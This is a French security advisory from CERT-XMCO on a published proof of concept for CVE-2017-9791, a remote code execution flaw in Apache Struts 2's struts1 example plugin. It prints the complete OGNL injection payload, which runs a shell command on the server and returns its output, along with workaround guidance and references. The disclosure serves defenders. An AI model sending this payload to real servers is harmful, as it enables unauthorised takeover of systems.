[EXPLOIT][APACHE] Prise du contrôle du système via une vulnérabilité au sein d'Apache Struts

Le CERT-XMCO vous partage une information ayant fait l’actualité durant la semaine écoulée. Nous vous proposons de revenir sur la publication d’un code d’exploitation affectant Apache Struts. L’exploitation de cette vulnérabilité permettait à un attaquant de prendre le contrôle du système à distance.


Description
Une preuve de concept, exploitant la vulnérabilité présentée dans le bulletin CXA-2017-2593, a été publiée.

La vulnérabilité en question, référencée CVE-2017-9791, provient d’une erreur au sein du plugin d’exemple nommé « struts1 » fourni avec le framework Apache Struts 2. En utilisant une entrée utilisateur non conforme, un attaquant non authentifié est en mesure de prendre le contrôle du système, en exécutant du code arbitraire à distance.

La preuve de concept se matérialise sous la forme d’un code en langage OGNL (langage d’expression interprété par Java), devant être injecté dans le champ « name » de la requête. Ce code permet d’exécuter la commande « id » sur le serveur distant, mais peut être personnalisé pour exécuter une commande arbitraire.

Note : La vulnérabilité n’est exploitable que si le plugin d’exemple « struts1 » est activé.


Code d’exploitation

%{
    (#_='multipart/form-data')
    .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
    .(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
    .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
    .(#ognlUtil.getExcludedPackageNames().clear())
    .(#ognlUtil.getExcludedClasses().clear())
    .(#context.setMemberAccess(#dm))))
    .(#cmd='id')
    .(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
    .(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
    .(#p=new java.lang.ProcessBuilder(#cmds))
    .(#p.redirectErrorStream(true))
    .(#process=#p.start())
    .(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
    .(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
    .(#ros.flush())
}

Solution de Contournement
Une bonne pratique d’implémentation permet d’empêcher l’exploitation de la vulnérabilité, elle est détaillée à l’adresse suivante dans la rubrique « Solution » :
https://cwiki.apache.org/confluence/display/WW/S2-048


Recommandation

Aucun correctif n’est disponible pour le moment.


Référence(s)
https://securityonline.info/tutorial-cve-2017-9791-apache-struts2-s2-048-remote-code-execution-vulnerability/
https://cwiki.apache.org/confluence/display/WW/S2-048
https://leportail.xmco.fr/watch/advisory/CXA-2017-2593

Adrien Guinault

Découvrir d'autres articles